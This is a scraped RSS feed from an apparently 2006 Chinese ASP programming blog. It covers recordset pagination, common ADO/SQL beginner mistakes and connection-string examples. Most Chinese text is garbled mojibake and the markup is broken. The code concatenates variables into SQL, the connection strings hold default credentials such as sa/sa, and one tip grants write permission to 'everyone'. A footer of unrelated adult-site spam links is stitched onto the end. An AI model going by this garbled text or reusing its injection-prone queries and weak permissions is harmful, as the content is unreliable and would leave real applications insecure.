rs.AbsolutePage=CLng(Request("CurrentPage"))
End If  

''创徏表单MyForm,Ҏ为Get
Response.Write("<form method=Get name=MyForm>") 
Response.Write("<p align=center><font size=2 color=#008000>")
''讄页链?br />if rs.PageCount=1 then 
Response.Write("[W一] [上一] [下一] [最后一] ")
else 
if rs.AbsolutePage=1 then
Response.Write("[W一] [上一] ")
Response.Write("[<a href=java script:PageNext()>下一?lt;/a>] ") 
Response.Write("[<a href=java script:PageLast()>最后一?lt;/a>] ") 
else 
if rs.AbsolutePage=rs.PageCount then
Response.Write("[<a href=java script:PageFirst()>W一?lt;/a>] ") 
Response.Write("[<a href=java script:PagePrior()>上一?lt;/a>] ") 
Response.Write("[下一] [最后一] ")
else
Response.Write("[<a href=java script:PageFirst()>W一?lt;/a>] ") 
Response.Write("[<a href=java script:PagePrior()>上一?lt;/a>] ") 
Response.Write("[<a href=java script:PageNext()>下一?lt;/a>] ") 
Response.Write("[<a href=java script:PageLast()>最后一?lt;/a>] ") 
end if
end if
end if 

''创徏下拉列表框,用于选择览늠
Response.Write("W?lt;select size=1 name=CurrentPage onchange=PageCurrent()>") 
For i=1 to rs.PageCount 
if rs.AbsolutePage=i then
Response.Write("<option selected>"&i&"</option>") ''当前늠
else
Response.Write("<option>"&i&"</option>")
end if 
Next 
Response.Write("</select>??&rs.PageCount&" 共"&rs.RecordCount&"条记?lt;/font><p>") 
Response.Write("</form>") 

''创徏表格Q用于显C?br />Response.Write("<table align=center cellspacing=1 cellpadding=1 border=1") 
Response.Write(" bordercolor=#99CCFF bordercolordark=#b0e0e6 bordercolorlight=#000066>") 

Response.Write("<tr bgcolor=#ccccff bordercolor=#000066>")  

Set Columns=rs.Fields  

''昄表头
For i=0 to Columns.Count-1
Response.Write("<td align=center width=200 height=13>")
Response.Write("<font size=2><b>"&Columns(i).name&"</b></font></td>") 
Next
Response.Write("</tr>")
''昄内容
For i=1 to rs.PageSize 
Response.Write("<tr bgcolor=#99ccff bordercolor=#000066>") 
For j=0 to Columns.Count-1 
Response.Write("<td><font size=2>"&Columns(j)&"</font></td>") 
Next
Response.Write("</tr>") 

rs.movenext 
if rs.EOF then exit for 
Next 

Response.Write("</table>")  

END IF
%>
</BODY>
</HTML>


fly 2006-08-11 08:47 发表评论
]]>
ASP初学者常犯的几个错误 http://www.tkk7.com/jlin/articles/62905.htmlflyflyFri, 11 Aug 2006 00:44:00 GMThttp://www.tkk7.com/jlin/articles/62905.htmlhttp://www.tkk7.com/jlin/comments/62905.htmlhttp://www.tkk7.com/jlin/articles/62905.html#Feedback0http://www.tkk7.com/jlin/comments/commentRss/62905.htmlhttp://www.tkk7.com/jlin/services/trackbacks/62905.html------------------------------------
sql="select * from test"
rs.open sql,conn,1,1
if not rs.eof then
dim myName
myName=rs("name")
end if
sql="select * from myBook"
rs.open sql,conn,1,1
-------------------------------------
解决:在第二次rs.open之前先关闭 rs.close
?br />set rs1=server.createobject
rs1.open sql,conn,1,1

2,用SQL关键字做表名或字D名
-------------------------------------
sql="select * from user"
rs.open sql,conn,1,1
-------------------------------------
user为sql关键?br />解决:改ؓ
sql="select * from [user]"


3,用锁定方式去q行update
-------------------------------------
sql="select * from [user]"
rs.open sql,conn,1,1
rs.addnew
?br />rs("userName")="aa"
rs.update
-------------------------------------
当前记录集的打开方式为只?br />解决:
改ؓ
rs.open sql,conn,1,3

4,在查询语句中采用的对比字Dg字段cd不符
-----------------------------------------
sql="select * from [user] where id='" & myID & "'"
rs.open sql,conn,1,1
-----------------------------------------
假设表中设计ID为数字型Q那么些时出错?br />解决:
sql="select * from [user] where id=" & myID

5,未检查变量D出?br />-----------------------------------------
sql="select * from [user] where id=" & myID
rs.open sql,conn,1,1
-----------------------------------------
假设myID变量此时gؓnull,那么sql成?br />sql="select * from [user] where id="
解决:
在前面加?br />if isnull(myID) then 出错提示

6,未检查变量值类型而出?br />-----------------------------------------
sql="select * from [user] where id=" & myID
rs.open sql,conn,1,1
-----------------------------------------
假设id为数字型,myID变量此时g为null,但ؓ字符Q比如myID此时?aa"
那么sql成?br />sql="select * from [user] where id=aa"
解决:
在前面加?br />if isnumeric(myID)=false then 出错提示

q也可以有效防止 sql injection 漏洞d?br />
7,׃数据库文件所在目录的NTFS权限而引L'不能更新。数据库或对象ؓ只读"错误?br />说明:
WIN2Kpȝ延箋了WINNTpȝ的NTFS权限?br />对于pȝ中的文夹都有默认的安全设|?br />而通过HTTP对WWW讉K时的pȝ默认用户是 iusr_计算机名 用户 ,它属于guestl?br />当通过HTTP讉KӞ可以ASP或JSPQ也或是PHP?NETE序Ҏ据进行修Ҏ作:
比如Q?br />当打开某一个文章时Q程序设定,文章的阅L?原阅L?1
执行
conn.execute("update arts set clicks=clicks+1 where id=n")
语句Ӟ如果 iusr_计算机名 用户没有Ҏ据库的写权限Ӟ׃出错.
解决Ҏ:
扑ֈ数据库所在目?br />右键》属性》安全选项卡》设| iusr_计算机名 用户的写权限(当然Q也可以是everyone)


fly 2006-08-11 08:44 发表评论
]]>
在ASP中如何实现点几Z删除”按扭后弹出删除提示对话框?单击定后删除,单击否则q回http://www.tkk7.com/jlin/articles/62900.htmlflyflyFri, 11 Aug 2006 00:36:00 GMThttp://www.tkk7.com/jlin/articles/62900.htmlhttp://www.tkk7.com/jlin/comments/62900.htmlhttp://www.tkk7.com/jlin/articles/62900.html#Feedback0http://www.tkk7.com/jlin/comments/commentRss/62900.htmlhttp://www.tkk7.com/jlin/services/trackbacks/62900.html当点d除时弹出对话框问你“您定q行删除操作吗?”点几Z是”则删除Q点几Z否”则q回Q?img src ="http://www.tkk7.com/jlin/aggbug/62900.html" width = "1" height = "1" />

fly 2006-08-11 08:36 发表评论
]]>
数据库连接示?/title><link>http://www.tkk7.com/jlin/articles/62367.html</link><dc:creator>fly</dc:creator><author>fly</author><pubDate>Tue, 08 Aug 2006 08:03:00 GMT</pubDate><guid>http://www.tkk7.com/jlin/articles/62367.html</guid><wfw:comment>http://www.tkk7.com/jlin/comments/62367.html</wfw:comment><comments>http://www.tkk7.com/jlin/articles/62367.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/jlin/comments/commentRss/62367.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/jlin/services/trackbacks/62367.html</trackback:ping><description><![CDATA[ <p>aspq接Access数据?ODBC)<br /> set conn=server.createobject("adodb.connection")<br /> dbPath="config/bloo.mdb"<br /> connStr="Driver={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath(DBpath)<br /> conn.open connStr</p> <p>aspq接Access数据?OleDb)<br /> set conn=server.createobject("adodb.connection")<br /> dbPath="config/bloo.mdb"<br /> connStr="Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath(DBpath)<br /> conn.open connStr</p> <p>aspq接SQL Server数据?ODBC)<br /> set conn=server.createobject("adodb.connection")<br /> connStr="Driver={SQL Server};Server=(Local);UID=sa;PWD=sa;database=system;"<br /> conn.open connStr</p> <p>aspq接SQL Server数据?OleDb)<br /> set conn=server.createobject("adodb.connection")<br /> connStr="Provider=SQLOLEDB.1;User ID=sa;Password=sa;Data Source=(local);Initial Catalog=system;"<br /> conn.open connStr</p> <p>aspq接DM数据?ODBC)<br /> set conn=server.createobject("adodb.connection")<br /> connStr="DSN=***;DRIVER={DM ODBC DRIVER};DATABASE=SYSTEM;UID=SYSDBA;PWD=SYSDBA;"<br /> conn.open connStr</p> <p>asp.netq接DM数据?ODBC)<br /> Driver={DM ODBC Driver}; Server=localhost; Database=SYSTEM; UID=SYSDBA; PWD=SYSDBA;</p> <p>asp.netq接DM数据?OleDb)<br /> Provider=DMOLEDB.1; Data Source=localhost; Initial Catalog=SYSTEM; User Id=SYSDBA; Password=SYSDBA; Port=1433<br /> ?br /> Provider=DMOLEDB.1; Data Source=localhost; Initial Catalog=SYSTEM; User Id=SYSDBA; Password=SYSDBA;<br /><br />转脓</p> <img src ="http://www.tkk7.com/jlin/aggbug/62367.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/jlin/" target="_blank">fly</a> 2006-08-08 16:03 <a href="http://www.tkk7.com/jlin/articles/62367.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>学习asp的一些心?/title><link>http://www.tkk7.com/jlin/articles/57229.html</link><dc:creator>fly</dc:creator><author>fly</author><pubDate>Sat, 08 Jul 2006 01:23:00 GMT</pubDate><guid>http://www.tkk7.com/jlin/articles/57229.html</guid><wfw:comment>http://www.tkk7.com/jlin/comments/57229.html</wfw:comment><comments>http://www.tkk7.com/jlin/articles/57229.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/jlin/comments/commentRss/57229.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/jlin/services/trackbacks/57229.html</trackback:ping><description><![CDATA[ <p>1。数据库q接字符?br />ConnStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(datapath)<br />   <br />Set conn = Server.CreateObject("ADODB.Connection")<br />    <br />conn.open ConnStr <br />2?br />1Q通过ODBC或者OLE方式q接的区别? </p> <p>现在有两U连接数据库的方法。一斚wQ可以用ODBC产生一个连接,q种q接与Q何有ODBC驱动器的数据库(卛_本上是市Z所有的数据库)兼容Q另一斚wQ可以用原始OLE DB提供商生一个连接?</p> <p>该用哪个提供商?可能用原始OLE DB提供商,因ؓ它提供了Ҏ据更有效的访问。Microsoft正逐步用OLE DB取代ODBC标准Q应该仅仅在没有原始OLE DB提供商时使用ODBC?</p> <p>_用ODBC方式q接SQL ServerQ?<br />①.配置ODBC <br />②.q接代码Q?<br />conn_odbc.asp <br /><% <br />Set Conn = Server.CreateObject("ADODB.Connection") <br />'Conn.Open "DSN=course_dsn;UID=course_user;PWD=course_password;DATABASE=course" <br />Conn.Open "course_dsn","course_user","course_password" <br />%> <br />注意Q在配置MyDSN时若指定默认数据库ؓcourse则上qC码作用想同,否则W二行的q接方式更有灉|性,可以指定q接某个数据库(当然Q前提是course_user对这个数据库有操作权限)?</p> <p>⑵.用OLE方式q接SQL ServerQ?<br />conn_ole.asp <br /><% <br />Set Conn = Server.CreateObject("ADODB.Connection") <br />Conn.Open "PROVIDER=SQLOLEDB;DATA SOURCE=10.1.43.238,2433; UID=course_user;PWD=course_password;DATABASE=course" <br />%> </p> <p>2006-7-7  17:57  学习VBscript 的一些心?br />  <br /> 1?aspE序不区分大写<br /> 2?aspE序一行语句只能写在一行上Q一行语句不能写多条语句Q如果一行语句要写多行语句,?分开Q或用回车键分开?br /> 3?注意aspE序的一写关键字Q比?if...then...else语句Q还?if..then...endif(多条?<br />  要这样写Q?br />     if 条g语句1 then <br />        执行语句1<br />     elseif 条g语句2 then <br />        执行语句2<br />     .........<br />     else <br />      执行语句 n+1<br />    end if <br />    ( 注意其中的elseif 不能分开?<br /><br />4.aspE序不支持多行注?br /></p> <img src ="http://www.tkk7.com/jlin/aggbug/57229.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/jlin/" target="_blank">fly</a> 2006-07-08 09:23 <a href="http://www.tkk7.com/jlin/articles/57229.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>лǵվܻԴȤ</p> <a href="http://www.tkk7.com/" title="亚洲av成人片在线观看">亚洲av成人片在线观看</a> <div class="friend-links"> </div> </div> </footer> վ֩ģ壺 <a href="http://m0808dy.com" target="_blank">ƵѲ</a>| <a href="http://4husese.com" target="_blank">߲޵һĻ</a>| <a href="http://fsdyzs.com" target="_blank">ɫվwwwվ</a>| <a href="http://wangquanai.com" target="_blank">޾ƷƵ</a>| <a href="http://miliwo.com" target="_blank">ɫͼۺվ</a>| <a href="http://ivy-fund.com" target="_blank">ձһ߹ۿ</a>| <a href="http://codecampo.com" target="_blank">޹˾þþƷapp</a>| <a href="http://zgj688.com" target="_blank">ؼAƬëƬ69</a>| <a href="http://zhidianzh.com" target="_blank">Ʒһ</a>| <a href="http://caoliushequ9.com" target="_blank">hƵ߹ۿ</a>| <a href="http://meijibear.com" target="_blank">һվ </a>| <a href="http://3baimm.com" target="_blank">þù߳׽ѹۿ</a>| <a href="http://5g6z.com" target="_blank">AVպAV</a>| <a href="http://hkcp168.com" target="_blank">ò߹ۿ</a>| <a href="http://55118885.com" target="_blank">һɫƬ</a>| <a href="http://bb9234.com" target="_blank">ɫˬƵ</a>| <a href="http://fcw70.com" target="_blank">弦վ߲ѹۿ</a>| <a href="http://kyqp0022.com" target="_blank">þþƷav</a>| <a href="http://yy6090qpgdy.com" target="_blank">һëƬëƬëƬ</a>| <a href="http://345504.com" target="_blank">޾ƷƵ</a>| <a href="http://rr433.com" target="_blank">ѹҹ߹ۿ</a>| <a href="http://chinahongfeng.com" target="_blank">Aһ</a>| <a href="http://zhaoav7.com" target="_blank">ŷxxxxx</a>| <a href="http://szhszszy.com" target="_blank">鶹va߾ƷѲ</a>| <a href="http://117949b.com" target="_blank">޾ƷVŷ޾ƷVպƷ </a>| <a href="http://tttui.com" target="_blank">ŮƵվ</a>| <a href="http://llyysp.com" target="_blank">޳˶</a>| <a href="http://89kino.com" target="_blank">ˬָ߳ëƬ</a>| <a href="http://038037.com" target="_blank">һƵǿŮ</a>| <a href="http://f4f8.com" target="_blank">þþƷһԡ</a>| <a href="http://625r.com" target="_blank">ëƬƵ</a>| <a href="http://www-840012.com" target="_blank">ŮˬˬˬƵ</a>| <a href="http://wuiso.com" target="_blank">޳˻ɫַ</a>| <a href="http://youweidianqi.com" target="_blank">޸Ƶ</a>| <a href="http://jte-sh.com" target="_blank">鶹ѹһ</a>| <a href="http://wenbye.com" target="_blank">ѸԴվƵ</a>| <a href="http://56ms.com" target="_blank">þ޹ƷAVϼ </a>| <a href="http://carsmp.com" target="_blank">þþƷav٤</a>| <a href="http://ksp33.com" target="_blank">ò</a>| <a href="http://bqjonline.com" target="_blank">òƵ</a>| <a href="http://niu44.com" target="_blank">߳׽ˮAƬ </a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>